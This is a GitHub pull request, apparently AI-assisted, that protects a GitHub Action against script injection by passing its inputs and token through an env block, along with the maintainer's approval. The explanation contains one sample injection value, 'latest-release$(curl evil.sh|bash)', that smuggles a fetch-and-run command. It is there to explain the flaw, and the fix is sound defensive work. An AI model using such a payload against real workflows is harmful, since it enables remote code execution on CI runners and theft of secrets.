Pass action inputs via env to prevent script injection - #18
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Move inputs.version, runner.os, and github.token out of inline ${{ }}
interpolation and into a step-level env block, referenced as quoted
shell variables. This closes the script-injection vector on the
attacker-controllable version input and keeps the token out of the
rendered script. Behavior is unchanged.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
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Apologies for the clanker, but the PR looks accurate. |
imjasonh
approved these changes
Jun 1, 2026
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What
Moves
inputs.version,runner.os, andgithub.tokenout of inline${{ }}interpolation inaction.ymland into a step-levelenv:block, referencing them as quoted shell variables ("${VERSION}","${RUNNER_OS}","${GITHUB_TOKEN}").Why
GitHub expands
${{ }}expressions into the script text before bash runs. With${{ inputs.version }}spliced directly into acasestatement and a URL, a craftedversioninput (e.g.latest-release$(curl evil.sh|bash)) would execute as shell code — a classic script-injection vulnerability. Passing values throughenv:makes bash treat them as inert strings. This is the hardening GitHub's own security docs recommend.Moving
github.tokento env additionally keeps the secret out of the rendered script.Behavior is unchanged.
Testing
shellcheckon therun:block — clean on the touched lines (only pre-existing info-level SC2086 quoting nits remain).VERSION='latest-release$(touch …)'is treated as a literal string — no command executed.GITHUB_PATH.🤖 Generated with Claude Code